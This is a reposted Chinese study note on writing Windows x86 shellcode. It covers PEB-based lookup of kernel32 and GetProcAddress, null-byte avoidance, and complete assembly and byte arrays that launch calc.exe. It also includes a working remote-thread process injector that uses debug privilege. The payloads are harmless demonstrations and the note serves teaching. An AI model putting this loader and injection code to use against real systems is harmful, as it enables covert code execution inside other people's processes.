shellcode的編寫學習


前言:作為shellcode編寫的筆記

參考文章:https://securitycafe.ro/2016/02/15/introduction-to-windows-shellcode-development-part-3/

整體學下來的感受:

1、數據交互都在堆棧

2、盡量避免硬編碼00的產生,影響可能會影響shellcode的執行效果

3、每次調用完都盡量保持平衡,但並不是一定需要,比如你自己拿到一個重要的地址,類似XXX地址模塊,那么就可以將其壓入堆棧中進行保存,整體ESP-4,后續得話就以ESP-4來保持平衡即可

shellcode的編寫原則

測試代碼如下:

#include<windows.h>

int main(int argc, char* argv[])
{
	
	system("dir");
	return 0;
}

因為編譯器正常設置編譯完的程序會默認帶有一些安全設置,就比如checkEsp,相關的調用約定的函數調用完都有檢查堆棧是否平衡等

重新來看下,就發現相關的檢查堆棧的硬編碼就已經不在了

不能有全局變量

因為我們編寫shellcode時,使用的全局變量是自己的進程里面的全局變量,注入到別的進程里,這個地址就沒用了,因為一個進程啟動會把字符串放置在一個特定的Section中(如.rdata或.data),而這個特定的節只有當前的進程知道如何尋找,其他的進程不知道如何尋找

所以通過這個點我們知道,我們需要的相關變量都需要是在堆棧中進行存儲,比如要使用字符串的話,那么就需要使用字符數組來進行解決

char s[] = "12"; -> char s[] = {'1','2','\0'};

不能直接調用系統函數

在 C/C++ 中,調用函數很容易。我們指定#include <>以使用特定的標頭並通過其名稱調用函數。

在后台,編譯器和鏈接器處理了這個問題:它們解析函數的地址(例如來自user32.dll的MessageBox),我們可以很容易地通過它們的名稱調用這些函數。

在 shellcode 中,我們不能這樣做。我們不知道包含我們所需函數的 DLL 是否已加載到內存中,我們也不知道所需函數的地址。由於ASLR(地址空間布局隨機化),DLL 不會每次都加載到相同的地址。此外,DLL 可能會隨着每個新的 Windows 更新而更改,因此我們不能依賴 DLL 中的特定偏移量。

我們必須將 DLL 加載到內存中,並直接從 shellcode 中找到所需的函數。幸運的是,Windows API提供了兩個有用的函數:LoadLibrary和GetProcAddress,我們可以使用它們來查找函數的地址。

但是 LoadLibrary,GetProcAddress 本身就是系統函數,它們本身就依賴IAT表,咋辦呢?

解決方案是這樣的:通過FS:[0x30] 找到PEB,然后通過PEB里的LDR鏈表 [PEB+0x0C]找到 kernel32.dll 的地址,然后我們遍歷它的 IAT表,找到 LoadLibrary 和 GetProcAddress 函數

避免NULL字節

NULL 字節的值為 0x00。在 C/C++ 代碼中,NULL 字節被認為是字符串的終止符。因此,shellcode 中這些字節的存在可能會干擾目標應用程序的功能,並且我們的 shellcode 可能無法正確復制到內存中。

即使這種情況不是強制性的,也存在使用strcpy () 函數的常見情況,例如緩沖區溢出。此函數將逐字節復制字符串,並在遇到 NULL 字節時停止。因此,如果 shellcode 包含一個 NULL 字節,strcpy 函數將在該字節處停止,並且 shellcode 將不完整,正如您可以猜到的那樣,它將無法正常工作。

上圖中的兩條指令在功能上是等價的,但是第一個包含 NULL 字節,而第二個不包含。即使 NULL 字節在編譯代碼中很常見,避免它們也不是那么難。

此外,在某些特定情況下,shellcode 必須避免使用字符,例如 \r\n,甚至只能使用字母數字字符。

所以這里如果使用到的mov eax,0都需要使用xor eax,eax來進行替代,這樣避免NULL字節的出現

匯編簡單實現system函數

如下代碼所示,然后這種的話並不算是shellcode,因為還有一定的局限性,默認調用的函數地址是不知道的

#include<windows.h>

int main(int argc, char* argv[])
{
	char buffer[] = {'d','i','r','\0'};
	system(buffer);
	return 0;
}

這里直接將上面對應的匯編扣下來進行測試

#include<windows.h>

DWORD g_dwSystemAddr = 0;
__declspec(naked) void test01()
{
	__asm
	{
		push ebp
		mov  ebp, esp

		xor ebx, ebx
		push ebx

		mov  byte ptr[ebp - 04h], 64h
		mov  byte ptr[ebp - 03h], 69h
		mov  byte ptr[ebp - 02h], 72h
		lea  ebx, [ebp - 04h]
		push ebx
		mov ebx, g_dwSystemAddr
		call ebx
		; 恢復堆棧
		add esp, 0x4; 恢復esp

		pop ebx
		mov esp,ebp
		mov esp,ebp
		retn
	}
}

int main(int argc, char* argv[])
{
	HMODULE hModule = LoadLibrary("msvcrt.dll");
	g_dwSystemAddr = (DWORD)GetProcAddress(hModule, "system");
	test01();
	return 0;
}

Shellcode通用實現

為了創建可靠的 shellcode,需要如下步驟的支持:

  • 獲取 kernel32.dll 基地址
  • 查找GetProcAddress函數的地址
  • 使用GetProcAddress查找LoadLibrary函數的地址
  • 使用LoadLibrary加載 DLL(例如kernel32.dll)
  • 使用GetProcAddress查找函數的地址(例如MessageBox)
  • 指定函數參數
  • 調用函數

編寫Shellcode不是只為了在本機上運行,而是不依賴環境,需要通用於任何機器。所以,我們需要不依賴外部查找函數地址,那么,我們需要一段代碼能夠自己定位任意函數地址。

那么這里就需要通過fs:[0x30]來獲得相關的LDR_MODULE,然后來遍歷相關模塊DLL中的導出表來獲得函數了,通過這種方法可以擺脫函數地址的局限性

獲取kernel32.dll

獲取kernel32.dll就是通過PEB_LDR_DATA的結構體,因為它其中有三個類似的雙向鏈表,其中都存儲着相關加載模塊的信息,通過遍歷就可以進行獲取指定模塊的基址,模塊大小等信息

xor ecx, ecx              ; 繞過空字節的發生
mov eax, fs:[ecx + 0x30]  ; 拿到PEB結構體
mov eax, [eax + 0xc]      ; 拿到_PEB_LDR_DATA結構體
mov esi, [eax + 0x14]     ; 獲取LDR結構體中的InMemoryOrderModuleList鏈表
lodsd                     ; EAX = ds:[esi],也就是InMemoryOrderModuleList指向的下一個LDR_MODULE的鏈表
xchg eax, esi             ; EAX = ESI, ESI = EAX
lodsd                     ; EAX = Third(kernel32)
mov ebx, [eax + 0x10]     ; EBX = Base address

這里可能會有一個疑問,為什么不直接給寄存器mov一個fs:[0x30],而是先xor esi, esi,然后通過fs:30h+esi來進行賦值

mov eax,fs:[30]指令將組裝成以下操作碼序列:64 A1 30 00 00 00,因此我們有空字節,而mov eax, fs:[ecx+0x30]的指令為64 8B 41 30。所以這種方式可以避免 NULL 字節。

PEB和PEB_LDR_DATA和PEB_LDR_MODULE的關系圖如下所示

獲取導出表的位置

mov edx, [ebx + 0x3c] ; edx = DOS->e_lfanew,DOS結構體的最后一個成員指向的就是PE Header
add edx, ebx          ; edx = PE Header
mov edx, [edx + 0x78] ; edx = 獲得一個8個字節的導出表的結構體中的Virtual Address
add edx, ebx          ; edx = 獲得Virtual Address所指向的導出表的起始地址
mov esi, [edx + 0x20] ; esi = IMAGE_EXPORT_DIRECTORY.NumberOfNames地址中的偏移值,也就是RVA
add esi, ebx          ; esi = 基址+RVA的值保存在 esi 寄存器
xor ecx, ecx          ; ecx = 0

查找 GetProcAddress 函數名稱

學過PE大家肯定都了解遍歷導出表,然后通過尋找GetProcAddress的思路,其中的一個實現方法就是通過導出函數名稱表,再對應到導出函數序號表,最后從導出函數地址表中尋找。

導出函數名稱表中找到GetProcAddress的名稱,ecx則代表當前尋找的下標,如果找到了的話那么ecx就是當前要找函數的下標

Get_Function:
  inc ecx                              ; Increment the ordinal
  lodsd                                ; Get name offset
  add eax, ebx                         ; Get function name
  cmp dword ptr[eax], 0x50746547       ; GetP
  jnz Get_Function
  cmp dword ptr[eax + 0x4], 0x41636f72 ; rocA
  jnz Get_Function
  cmp dword ptr[eax + 0x8], 0x65726464 ; ddre
  jnz Get_Function

查找 GetProcAddress 函數的地址

接着導出函數序號表中進行尋找,這里通過上面獲得的ecx來繼續尋找,這里說下為什么*2,原因就是一個序號是占兩個字節的,*4的話就是函數地址是占4個字節

mov esi, [edx + 0x24]    ; ESI = Offset ordinals
add esi, ebx             ; ESI = Ordinals table
mov cx, [esi + ecx * 2]  ; CX = Number of function
dec ecx
mov esi, [edx + 0x1c]    ; ESI = Offset address table
add esi, ebx             ; ESI = Address table
mov edx, [esi + ecx * 4] ; EDX = Pointer(offset)
add edx, ebx             ; EDX = GetProcAddress

找到LoadLibrary函數地址

xor ecx, ecx    ; ECX = 0
push ebx        ; Kernel32 base address
push edx        ; GetProcAddress
push ecx        ; 0
push 0x41797261 ; aryA
push 0x7262694c ; Libr
push 0x64616f4c ; Load
push esp        ; "LoadLibrary"
push ebx        ; Kernel32 base address
call edx        ; GetProcAddress(LL)

加載 user32.dll 庫

add esp, 0xc    ; pop "LoadLibraryA"
pop ecx         ; ECX = 0
push eax        ; EAX = LoadLibraryA
push ecx
mov cx, 0x6c6c  ; ll
push ecx
push 0x642e3233 ; 32.d
push 0x72657375 ; user
push esp        ; "user32.dll"
call eax        ; LoadLibrary("user32.dll")

之后你想要加載什么庫只需要如下的地方進行修改即可

mov cx, 0x6c6c  ; ll
push ecx
push 0x642e3233 ; 32.d
push 0x72657375 ; user
push esp        ; "user32.dll"

測試獲取SwapMouseButton函數地址

到這里之后就非常的輕松了,因為已經拿到了user32.dll的模塊,並且GetProcAddress也拿到了,之后每次需要獲取user32.dll的函數的時候只需要執行下面的代碼即可

add esp, 0x10                  ; Clean stack
mov edx, [esp + 0x4]           ; EDX = GetProcAddress
xor ecx, ecx                   ; ECX = 0
push ecx
mov ecx, 0x616E6F74            ; tona
push ecx
sub dword ptr[esp + 0x3], 0x61 ; Remove "a"
push 0x74754265                ; eBut
push 0x73756F4D                ; Mous
push 0x70617753                ; Swap
push esp                       ; "SwapMouseButton"
push eax                       ; user32.dll address
call edx                       ; GetProc(SwapMouseButton)

調用SwapMouseButton

add esp, 0x14 ; Cleanup stack
xor ecx, ecx  ; ECX = 0
inc ecx       ; true
push ecx      ; 1
call eax      ; Swap!

獲取 ExitProcess 函數地址

執行完要執行的程序了之后,還需要進行結束進程的操作,這里還需要結束自身

add esp, 0x4                    ; 這里是清理上面壓入的參數使用的
pop edx                         ; 重新彈出GetProcAddress地址,繼續使用該函數來獲取ExitProcess
pop ebx                         ; kernel32.dll base address
mov ecx, 0x61737365             ; essa
push ecx
sub dword ptr [esp + 0x3], 0x61 ; Remove "a"
push 0x636f7250                 ; Proc
push 0x74697845                 ; Exit
push esp
push ebx                        ; kernel32.dll base address
call edx                        ; GetProc(Exec)

調用 ExitProcess 函數

最后,我們這樣調用 ExitProcess 函數,結束自身

xor ecx, ecx ; ECX = 0
push ecx     ; Return code = 0
call eax     ; ExitProcess

最終的shellcode

xor ecx, ecx
mov eax, fs:[ecx + 0x30] ; EAX = PEB
mov eax, [eax + 0xc]     ; EAX = PEB->Ldr
mov esi, [eax + 0x14]    ; ESI = PEB->Ldr.InMemOrder
lodsd                    ; EAX = Second module
xchg eax, esi            ; EAX = ESI, ESI = EAX
lodsd                    ; EAX = Third(kernel32)
mov ebx, [eax + 0x10]    ; EBX = Base address
mov edx, [ebx + 0x3c]    ; EDX = DOS->e_lfanew
add edx, ebx             ; EDX = PE Header
mov edx, [edx + 0x78]    ; EDX = Offset export table
add edx, ebx             ; EDX = Export table
mov esi, [edx + 0x20]    ; ESI = Offset namestable
add esi, ebx             ; ESI = Names table
xor ecx, ecx             ; EXC = 0
 
Get_Function:
 
inc ecx                              ; Increment the ordinal
lodsd                                ; Get name offset
add eax, ebx                         ; Get function name
cmp dword ptr[eax], 0x50746547       ; GetP
jnz Get_Function
cmp dword ptr[eax + 0x4], 0x41636f72 ; rocA
jnz Get_Function
cmp dword ptr[eax + 0x8], 0x65726464 ; ddre
jnz Get_Function
mov esi, [edx + 0x24]                ; ESI = Offset ordinals
add esi, ebx                         ; ESI = Ordinals table
mov cx, [esi + ecx * 2]              ; Number of function
dec ecx
mov esi, [edx + 0x1c]                ; Offset address table
add esi, ebx                         ; ESI = Address table
mov edx, [esi + ecx * 4]             ; EDX = Pointer(offset)
add edx, ebx                         ; EDX = GetProcAddress
 
xor ecx, ecx    ; ECX = 0
push ebx        ; Kernel32 base address
push edx        ; GetProcAddress
push ecx        ; 0
push 0x41797261 ; aryA
push 0x7262694c ; Libr
push 0x64616f4c ; Load
push esp        ; "LoadLibrary"
push ebx        ; Kernel32 base address
call edx        ; GetProcAddress(LL)
 
add esp, 0xc    ; pop "LoadLibrary"
pop ecx         ; ECX = 0
push eax        ; EAX = LoadLibrary
push ecx
mov cx, 0x6c6c  ; ll
push ecx
push 0x642e3233 ; 32.d
push 0x72657375 ; user
push esp        ; "user32.dll"
call eax        ; LoadLibrary("user32.dll")
 
add esp, 0x10                  ; Clean stack
mov edx, [esp + 0x4]           ; EDX = GetProcAddress
xor ecx, ecx                   ; ECX = 0
push ecx
mov ecx, 0x616E6F74            ; tona
push ecx
sub dword ptr[esp + 0x3], 0x61 ; Remove "a"
push 0x74754265                ; eBut
push 0x73756F4D                ; Mous
push 0x70617753                ; Swap
push esp                       ; "SwapMouseButton"
push eax                       ; user32.dll address
call edx                       ; GetProc(SwapMouseButton)
 
add esp, 0x14 ; Cleanup stack
xor ecx, ecx  ; ECX = 0
inc ecx       ; true
push ecx      ; 1
call eax      ; Swap!
 
add esp, 0x4                    ; Clean stack
pop edx                         ; GetProcAddress
pop ebx                         ; kernel32.dll base address
mov ecx, 0x61737365             ; essa
push ecx
sub dword ptr [esp + 0x3], 0x61 ; Remove "a"
push 0x636f7250                 ; Proc
push 0x74697845                 ; Exit
push esp
push ebx                        ; kernel32.dll base address
call edx                        ; GetProc(Exec)
xor ecx, ecx                    ; ECX = 0
push ecx                        ; Return code = 0
call eax                        ; ExitProcess

WinExec執行計算器calc

#include<windows.h>
int main(int argc, char* argv[])
{
	__asm
	{
		xor ecx, ecx
		mov eax, fs:[ecx + 0x30] ; EAX = PEB
		mov eax, [eax + 0xc]     ; EAX = PEB->Ldr
		mov esi, [eax + 0x14]    ; ESI = PEB->Ldr.InMemOrder
		lodsd                    ; EAX = Second module
		xchg eax, esi            ; EAX = ESI, ESI = EAX
		lodsd                    ; EAX = Third(kernel32)
		mov ebx, [eax + 0x10]    ; EBX = Base address
		mov edx, [ebx + 0x3c]    ; EDX = DOS->e_lfanew
		add edx, ebx             ; EDX = PE Header
		mov edx, [edx + 0x78]    ; EDX = Offset export table
		add edx, ebx             ; EDX = Export table
		mov esi, [edx + 0x20]    ; ESI = Offset namestable
		add esi, ebx             ; ESI = Names table
		xor ecx, ecx             ; EXC = 0
	
	Get_Function:
		inc ecx                              ; Increment the ordinal
		lodsd                                ; Get name offset
		add eax, ebx                         ; Get function name
		cmp dword ptr[eax], 0x50746547       ; GetP
		jnz Get_Function
		cmp dword ptr[eax + 0x4], 0x41636f72 ; rocA
		jnz Get_Function
		cmp dword ptr[eax + 0x8], 0x65726464 ; ddre
		jnz Get_Function
		mov esi, [edx + 0x24]                ; ESI = Offset ordinals
		add esi, ebx                         ; ESI = Ordinals table
		mov cx, [esi + ecx * 2]              ; Number of function
		dec ecx
		mov esi, [edx + 0x1c]                ; Offset address table
		add esi, ebx                         ; ESI = Address table
		mov edx, [esi + ecx * 4]             ; EDX = Pointer(offset)
		add edx, ebx                         ; EDX = GetProcAddress
 
		xor ecx, ecx    ; ECX = 0
		push ebx        ; Kernel32 base address
		push edx        ; GetProcAddress
		push ecx        ; 0
		push 0x41797261 ; aryA
		push 0x7262694c ; Libr
		push 0x64616f4c ; Load
		push esp        ; "LoadLibrary"
		push ebx        ; Kernel32 base address
		call edx        ; GetProcAddress(LL)
 
		add esp, 0xc    ; pop "LoadLibrary"
		pop ecx         ; ECX = 0

		push eax        ; EAX = LoadLibrary
		push ecx
		push 0x6c6c642e; .dll
		push 0x32336c65; el32
		push 0x6e72656b; kern
		push esp; "kernel32.dll"
		call eax; LoadLibrary("kernel32.dll")

		add esp, 0xC                  ; Clean stack
		pop ecx;
		 
		mov edx, [esp + 0x4]           ; EDX = GetProcAddress
		push edx
		xor ecx, ecx                   ; ECX = 0
		push ecx
		
		mov ecx, 61636578h
		push ecx						; xeca
		sub dword ptr[esp + 0x3], 0x61 ; Remove "a"
		push 456e6957h
		push esp                       ; "WinExec"
		push eax                       ; kernel32.dll address
		call edx                       ; GetProcAddress(WinExec)
		
		add esp, 0x8 ; Cleanup stack
		pop ecx;
		
		xor ecx, ecx  ; ECX = 0
		xor ebx, ebx
		push ecx
		push 0x6578652e
		push 0x636c6163
		push 0x5c32336d
		push 0x65747379
		push 0x535c7377
		push 0x6f646e69
		push 0x575c3a43
		mov ebx, esp
		push 0xa
		push ebx
		
		call eax						; calc
		add esp, 0x1C; Clean stack
		pop ecx;

		xor ecx,ecx
		xor ebx,ebx
		mov eax, dword ptr[esp+0xC]
		mov edx, dword ptr[esp]
		mov ecx, 0x61737365; essa
		push ecx;
		sub dword ptr[esp + 0x3], 0x61; Remove "a"
		push 0x636f7250; Proc
		push 0x74697845; Exit
		push esp; ExitProcess
		push eax; kernel32.dll base address
		call edx; GetProc(ExitProcess)
		
		xor ecx, ecx; ECX = 0
		push ecx; Return code = 0
		call eax; ExitProcess
	}
	return 0;
}

如何實現提取機器碼

有時候純手寫匯編會很慢的,所以如果我們能寫代碼然后轉換為匯編的話,又或者想要提取匯編中的硬編碼的時候就需要用到

#include<windows.h>

_declspec(naked) void test02()
{
		__asm
	{
		xor ecx, ecx
                ....
                .... 
                ....
		call eax; ExitProcess
	}
}

void printHexArray(PVOID startAddr, size_t nBytes)
{
	for (size_t i = 0; i < nBytes; i++)
	{
		printf("0x%02X, ", ((PBYTE)startAddr)[i]);
		if ((i + 1) % 16 == 0)
			printf("\n");
	}
}

int main(int argc, char* argv[])
{
	printHexArray((PVOID)test02, 0x103);
	return 0;
}

硬編碼提取實現WinExec執行計算器calc

#include <stdio.h>

int main(int argc, char* argv[])
{
	//printHexArray((PVOID)test02, 0x103);
	//test02();

	
	unsigned char shellcode[] = { 
		0x33, 0xC9, 0x64, 0x8B, 0x41, 0x30, 0x8B, 0x40, 0x0C, 0x8B, 0x70, 0x14, 0xAD, 0x96, 0xAD, 0x8B,
		0x58, 0x10, 0x8B, 0x53, 0x3C, 0x03, 0xD3, 0x8B, 0x52, 0x78, 0x03, 0xD3, 0x8B, 0x72, 0x20, 0x03,
		0xF3, 0x33, 0xC9, 0x41, 0xAD, 0x03, 0xC3, 0x81, 0x38, 0x47, 0x65, 0x74, 0x50, 0x75, 0xF4, 0x81,
		0x78, 0x04, 0x72, 0x6F, 0x63, 0x41, 0x75, 0xEB, 0x81, 0x78, 0x08, 0x64, 0x64, 0x72, 0x65, 0x75,
		0xE2, 0x8B, 0x72, 0x24, 0x03, 0xF3, 0x66, 0x8B, 0x0C, 0x4E, 0x49, 0x8B, 0x72, 0x1C, 0x03, 0xF3,
		0x8B, 0x14, 0x8E, 0x03, 0xD3, 0x33, 0xC9, 0x53, 0x52, 0x51, 0x68, 0x61, 0x72, 0x79, 0x41, 0x68,
		0x4C, 0x69, 0x62, 0x72, 0x68, 0x4C, 0x6F, 0x61, 0x64, 0x54, 0x53, 0xFF, 0xD2, 0x83, 0xC4, 0x0C,
		0x59, 0x50, 0x51, 0x68, 0x2E, 0x64, 0x6C, 0x6C, 0x68, 0x65, 0x6C, 0x33, 0x32, 0x68, 0x6B, 0x65,
		0x72, 0x6E, 0x54, 0xFF, 0xD0, 0x83, 0xC4, 0x0C, 0x59, 0x8B, 0x54, 0x24, 0x04, 0x52, 0x33, 0xC9,
		0x51, 0xB9, 0x78, 0x65, 0x63, 0x61, 0x51, 0x83, 0x6C, 0x24, 0x03, 0x61, 0x68, 0x57, 0x69, 0x6E,
		0x45, 0x54, 0x50, 0xFF, 0xD2, 0x83, 0xC4, 0x08, 0x59, 0x33, 0xC9, 0x33, 0xDB, 0x51, 0x68, 0x2E,
		0x65, 0x78, 0x65, 0x68, 0x63, 0x61, 0x6C, 0x63, 0x68, 0x6D, 0x33, 0x32, 0x5C, 0x68, 0x79, 0x73,
		0x74, 0x65, 0x68, 0x77, 0x73, 0x5C, 0x53, 0x68, 0x69, 0x6E, 0x64, 0x6F, 0x68, 0x43, 0x3A, 0x5C,
		0x57, 0x8B, 0xDC, 0x6A, 0x0A, 0x53, 0xFF, 0xD0, 0x83, 0xC4, 0x1C, 0x59, 0x33, 0xC9, 0x33, 0xDB,
		0x8B, 0x44, 0x24, 0x0C, 0x8B, 0x14, 0x24, 0xB9, 0x65, 0x73, 0x73, 0x61, 0x51, 0x83, 0x6C, 0x24,
		0x03, 0x61, 0x68, 0x50, 0x72, 0x6F, 0x63, 0x68, 0x45, 0x78, 0x69, 0x74, 0x54, 0x50, 0xFF, 0xD2,
		0x33, 0xC9, 0x51, 0xFF, 0xD0 };
	((void(*)(void))shellcode)();
	return 0;
}

遠程線程注入shellcode

為了測試shellcode的通用,這里還進行繼續來進行測試,將shellcode注入到其他進程中來進行運行

#include<stdio.h>
#include<windows.h>

BOOL EnableDebugPrivilege()
{
	HANDLE hToken;
	BOOL fOk=FALSE;
	if(OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES,&hToken))
	{
		TOKEN_PRIVILEGES tp;
		tp.PrivilegeCount=1;
		LookupPrivilegeValue(NULL,SE_DEBUG_NAME,&tp.Privileges[0].Luid);
		
		tp.Privileges[0].Attributes=SE_PRIVILEGE_ENABLED;
		AdjustTokenPrivileges(hToken,FALSE,&tp,sizeof(tp),NULL,NULL);
		
		fOk=(GetLastError()==ERROR_SUCCESS);
		CloseHandle(hToken);
	}
    return fOk;
}


int main(int argc, char* argv[])
{
	DWORD dwWritten;
	DWORD dwProcessPid;
	HANDLE hProcess;
	PVOID pAddr;
	unsigned char shellcode[] = { 
		0x33, 0xC9, 0x64, 0x8B, 0x41, 0x30, 0x8B, 0x40, 0x0C, 0x8B, 0x70, 0x14, 0xAD, 0x96, 0xAD, 0x8B,
		0x58, 0x10, 0x8B, 0x53, 0x3C, 0x03, 0xD3, 0x8B, 0x52, 0x78, 0x03, 0xD3, 0x8B, 0x72, 0x20, 0x03,
		0xF3, 0x33, 0xC9, 0x41, 0xAD, 0x03, 0xC3, 0x81, 0x38, 0x47, 0x65, 0x74, 0x50, 0x75, 0xF4, 0x81,
		0x78, 0x04, 0x72, 0x6F, 0x63, 0x41, 0x75, 0xEB, 0x81, 0x78, 0x08, 0x64, 0x64, 0x72, 0x65, 0x75,
		0xE2, 0x8B, 0x72, 0x24, 0x03, 0xF3, 0x66, 0x8B, 0x0C, 0x4E, 0x49, 0x8B, 0x72, 0x1C, 0x03, 0xF3,
		0x8B, 0x14, 0x8E, 0x03, 0xD3, 0x33, 0xC9, 0x53, 0x52, 0x51, 0x68, 0x61, 0x72, 0x79, 0x41, 0x68,
		0x4C, 0x69, 0x62, 0x72, 0x68, 0x4C, 0x6F, 0x61, 0x64, 0x54, 0x53, 0xFF, 0xD2, 0x83, 0xC4, 0x0C,
		0x59, 0x50, 0x51, 0x68, 0x2E, 0x64, 0x6C, 0x6C, 0x68, 0x65, 0x6C, 0x33, 0x32, 0x68, 0x6B, 0x65,
		0x72, 0x6E, 0x54, 0xFF, 0xD0, 0x83, 0xC4, 0x0C, 0x59, 0x8B, 0x54, 0x24, 0x04, 0x52, 0x33, 0xC9,
		0x51, 0xB9, 0x78, 0x65, 0x63, 0x61, 0x51, 0x83, 0x6C, 0x24, 0x03, 0x61, 0x68, 0x57, 0x69, 0x6E,
		0x45, 0x54, 0x50, 0xFF, 0xD2, 0x83, 0xC4, 0x08, 0x59, 0x33, 0xC9, 0x33, 0xDB, 0x51, 0x68, 0x2E,
		0x65, 0x78, 0x65, 0x68, 0x63, 0x61, 0x6C, 0x63, 0x68, 0x6D, 0x33, 0x32, 0x5C, 0x68, 0x79, 0x73,
		0x74, 0x65, 0x68, 0x77, 0x73, 0x5C, 0x53, 0x68, 0x69, 0x6E, 0x64, 0x6F, 0x68, 0x43, 0x3A, 0x5C,
		0x57, 0x8B, 0xDC, 0x6A, 0x0A, 0x53, 0xFF, 0xD0, 0x83, 0xC4, 0x1C, 0x59, 0x33, 0xC9, 0x33, 0xDB,
		0x8B, 0x44, 0x24, 0x0C, 0x8B, 0x14, 0x24, 0xB9, 0x65, 0x73, 0x73, 0x61, 0x51, 0x83, 0x6C, 0x24,
		0x03, 0x61, 0x68, 0x50, 0x72, 0x6F, 0x63, 0x68, 0x45, 0x78, 0x69, 0x74, 0x54, 0x50, 0xFF, 0xD2,
		0x33, 0xC9, 0x51, 0xFF, 0xD0 };
	
	EnableDebugPrivilege();
	printf("Injection Pid: ");
	scanf("%d", &dwProcessPid);
	hProcess = OpenProcess(PROCESS_ALL_ACCESS,FALSE,dwProcessPid);
	pAddr = VirtualAllocEx(hProcess,0,0x1000,MEM_COMMIT|MEM_RESERVE,PAGE_EXECUTE_READWRITE);
	WriteProcessMemory(hProcess,pAddr,shellcode,0x105,&dwWritten);
	CreateRemoteThread(hProcess,0,0,(LPTHREAD_START_ROUTINE)pAddr,0,0,0);
	system("pause");
	return 0;
}


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM